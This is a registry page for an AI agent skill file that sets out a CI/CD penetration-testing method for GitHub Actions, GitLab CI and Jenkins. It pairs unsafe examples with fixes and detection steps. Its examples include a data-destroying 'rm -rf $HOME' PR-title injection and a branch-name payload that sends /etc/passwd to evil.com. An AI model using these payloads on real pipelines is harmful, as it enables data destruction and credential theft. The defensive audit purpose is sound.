pentest-cicd
Skill8 starsChanged 3 months agoMITView on GitHub
CI/CD red team methodology — GitHub Actions, GitLab CI, Jenkins pipeline security analysis, secret leak, workflow injection advisory. Triggers on CI/CD pentest, GitHub Actions security, GitLab CI, Jenkins, pipeline injection, workflow injection, secret leak, OIDC abuse, runner takeover, supply chain.
- Deletes or force-pushes
- Installs packages
In this repository63 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-automationSkill
- consultingSkill
- contentSkill
- customer-successSkill
- data-analyticsSkill
- designSkill
- design-tokensSkill
- developmentSkill
- devopsSkill
- ecommerceSkill
- emailSkill
- expo-app-configSkill
- expo-config-pluginSkill
- expo-dev-clientSkill
- expo-eas-buildSkill
- expo-eas-submitSkill
- expo-eas-updateSkill
- expo-modulesSkill
- expo-notificationsSkill
- expo-orchestratorSkill
- expo-prebuildSkill
- expo-routerSkill
- expo-troubleshootingSkill
- financeSkill
- frontend-tasteSkill
- marketingSkill
- market-researchSkill
- mobileSkill
- pentest-adSkill
- pentest-apiSkill
- pentest-bizlogicSkill
- pentest-bugbountySkill
- pentest-cloudSkill
- pentest-credentialsSkill
- pentest-ctfSkill
- pentest-detectionSkill
- pentest-engagementSkill
- pentest-exploit-chainSkill
- pentest-forensicsSkill
- pentest-llmSkill
- pentest-malwareSkill
- pentest-mobileSkill
- pentest-opsec-evidenceSkill
- pentest-orchestratorSkill
- pentest-privescSkill
- pentest-reconSkill
- pentest-reportSkill
- pentest-socialSkill
- pentest-stigSkill
- pentest-threat-modelSkill
- pentest-webSkill
- pentest-wirelessSkill
- productivitySkill
- productSkill
- salesSkill
- security-checkSkill
- securitySkill
- seo-crawl-budgetSkill
- seoSkill
- The first 60 shown.
The file
Files
pentest-cicd
CI/CD pipeline attack surface advisory. Assumes repository access within an authorized engagement.
Triggers
- "CI/CD pentest"
- "GitHub Actions vulnerability"
- "GitLab CI test"
- "Jenkins security"
- "workflow injection"
- "OIDC token abuse"
- "supply chain pentest"
Attack Surface Map
| Component | Common Vulnerability |
| Source repo | Secret leak (env, .pem, .key) |
| Workflow file | Injection via PR title, comment, branch name |
| Runner | Self-hosted runner takeover |
| Secret store | Environment variable leak in logs |
| OIDC trust | Privilege leak to the cloud provider |
| Action marketplace | Compromised 3rd party action |
| Artifact | Exfiltrate or tamper with the build artifact |
| Cache | Cache poisoning (the next build picks it up) |
GitHub Actions Specific
Common Injection Pattern
# UNSAFE — ${{ code }} inside PR title -> shell injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"
# Attack: PR title = `";rm -rf $HOME ;echo "`
# Resulting command: echo "Processing PR: ";rm -rf $HOME ;echo ""
# SAFE
- run: echo "Processing PR: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}pull_request_target Vulnerability
# UNSAFE — secrets reachable via a fork PR
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # runs fork code
- run: npm install # fork malicious npm scriptDetect:
pull_request_target+ checkouthead.sha= HIGH riskpull_request_target+ secret usage = HIGH risk
Self-Hosted Runner Takeover
- Public repo + self-hosted runner: anyone can register job
- Fix: organization-level allowlist, ephemeral runner (single job)
OIDC Trust Misconfig
# AWS role trust policy
{
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": "repo:org/repo:*" # too broad
}
}
}Fix: :ref:refs/heads/main for a specific branch, :environment:production for a specific env.
GitLab CI Specific
# UNSAFE — predefined variable injection
script:
- echo "Branch: ${CI_COMMIT_BRANCH}"
# Attack: branch name = `"; curl evil.com/xfil?d=$(cat /etc/passwd); echo "`CI_JOB_TOKENabuse: cross-project pipeline triggerbefore_scriptglobal override- Compliance pipeline by-pass (mr-only checks bypass with detached pipeline)
Jenkins Specific
# Anonymous Jenkins enumeration (QUIET)
curl https://jenkins.example.com/api/json
curl https://jenkins.example.com/script # Groovy console anonymous
# Pipeline definition injection
# Branch name / build parameter Groovy script context- Script Approval bypass
- Pipeline shared library compromise (npm/git supply chain)
- Credentials plugin: master key + decryption
Secret Leak Detection
# Git history scan (truffleHog v3)
trufflehog git https://github.com/<org>/<repo> --only-verified
# Gitleaks
gitleaks detect --source . --report-path report.json
# detect-secrets (yelp)
detect-secrets scan --all-files > .secrets.baselineWorkflow File Audit
Skill audit command (recursive scan):
# Risk patterns across all .github/workflows/*.yml files:
grep -rE "pull_request_target|github.event.(issue|pull_request).body|github.event.(issue|pull_request).title|github.head_ref|github.event.workflow_run" .github/workflows/
# Then analyze each hit manually: is it in shell contextOutput Template
## CI/CD Pentest — <repo>
### Findings
- [CRITICAL] .github/workflows/lint.yml — pull_request_target + checkout head.sha
-> Fork PR malicious code reaches production secrets
- [HIGH] AWS OIDC trust "repo:org/*:*" — admin role from any branch
- [MEDIUM] gitleaks: 3 expired AWS keys in git history
- [LOW] Self-hosted runner on a public repo (missing org allowlist)
### Recommendations
- pull_request_target only for read-only workflows (test, lint) + script env-isolated
- Make the OIDC sub claim specific
- Truffle/gitleaks pre-commit hook
- Runner ephemeral mode (actions/runner --ephemeral)Out-of-Scope
- Production deploy disruption (stays outside the engagement)
- Supply chain attack attempt against 3rd party action repos
- DoS pipeline (exceeding limits)
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

